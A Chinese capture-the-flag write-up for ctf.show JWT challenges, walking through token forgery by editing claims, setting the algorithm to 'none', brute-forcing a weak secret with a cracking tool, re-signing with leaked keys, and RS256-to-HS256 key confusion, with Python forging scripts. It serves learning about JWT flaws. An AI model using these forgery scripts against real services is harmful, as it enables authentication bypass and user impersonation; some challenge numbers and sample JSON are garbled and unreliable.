jwt(345-350)做题过程及详解

web345

进入后没任何提示,查看源码,提示访问/admin;

注意

https://ctf.show/admin

web   访问   admin这个文件 ​

https://ctf.show/admin/

web   访问   admin文件下的index.php,index.jsp,index.aspx

访问/admin/,用bp抓包,这里可以看到token在Cokie后面,进行解码;(在线工具:jwt在线解密/加密 - JSON中文网

user修改为admin,进行编码;回到bpauth替换成修改后的token即可;

web346

拿到token;

{
  "alg": "none",
  "typ": "JWT"
}
{
  "iss": "admin",
  "iat": 1754277351
  "exp": 1754284551,,
  "nbf": 1754277351,
  "sub": "admin",
  "jti": "66e5a76825c54eb4929d6c84ec5b510c"
}

这⾥考点是 JWT⽀持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置 空,这样任何token都是有效的。 设定该功能的最初⽬的是为了⽅便调试。但是,若不在⽣产环 境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着 便可以使⽤伪造的token冒充任意⽤户登陆⽹站。

有的人的工具可能没办法进行更改成none,那就用脚本;

import jwt
# payload注意换成⾃⼰的
token_dict = {
 "iss": "admin",
 "iat": 1754277351,
 "exp": 1754284551,
 "nbf": 1754277351,
 "sub": "admin",
 "jti": "66e5a76825c54eb4929d6c84ec5b510c"
}
headers = {
 "alg": "none",
 "typ": "JWT"
}
jwt_token = jwt.encode(token_dict,"",algorithm="none",headers=headers) #payload,秘钥,算法⽅式,headers
​
print(jwt_token)

如果以前没装jwt,第一次运行后下面会提示安装,点击安装即可;安装后修改自己成自己的payload运行即可;(注:这里访问的仍然是/admin/)

最后抓包修改auth即可得到flag;

web347

有提示弱口令,很多师傅都说猜(密钥:123456),也可以;我是直接爆破了;

使用工具,下载网址:https://github.com/Sjord/jwtcrack

使用方法:

在使用python脚本运行之前,需要先安装第三方库:pyjwt、tqdm

(注意不要连接校园网的情况去下载,会被ban)

回车输入上述命令;

将要破解的jwt字符串复制放入string.txt中,并将其放入脚本工具的同一级文件夹,然后cmd进入命令行,输入命令;

注:dict.txt文件是爆破需要的字典,需要自行下载;

python crackjwt.py string.txt dict.txt

即可得到密钥:123456,拿到在线解工具修改admin 后进行编码;访问/admin/用bp抓包,替换auth,得到flag;

web368

方法同上,密钥变为了:aaab;

web369

考点:公钥和私钥泄露

打开题目自带的app.js应该给是源码了

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});
​
router.post('/',function(req,res,next){
    var flag="flag_here";
    res.type('html');
    var auth = req.cookies.auth;
    var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
    jwt.verify(auth, cert, function(err, decoded) {
      if(decoded.user==='admin'){
        res.end(flag);
      }else{
        res.end('you are not admin');
      }
    });
});

可以看到,题目把私钥和公钥放在了web目录,我们访问就可以直接下载,造成了私钥公钥的泄露;

直接访问private.key和public.key就可以下载密钥和公钥;

有了公钥和密钥直接拿到在线工具,用公钥解码,修改user为admin,在用密钥编码签名;

POST提交,把auth替换即可得到flag;

web350

考点:公私钥泄密之【公钥】泄密

源码审计,在public.key有公钥,私钥无法获得;

可以根据公钥,修改算法从 非对称算法(比如RS256) 到 对称密钥算法(HS256) 双方都使用公钥验签,顺利篡改数据 当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密 实现验签通过

同时,还是要修改user为admin

用公钥解码后可以用脚本进行编码:(当然也可以使用在线工具)

import jwt
​
​
jwt_payload={
  "user": "admin",
  "iat": 1754321226
}
​
pub=open("../../Train/public.key", "rb").read()
jwt_headers={
  "alg": "HS256",
  "typ": "JWT"
}
​
jwt_token=jwt.encode(jwt_payload,key=pub,algorithm='HS256',headers=jwt_headers,)
​
print(jwt_token)

POST提交,修改Cookie里的auth就可以了;

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐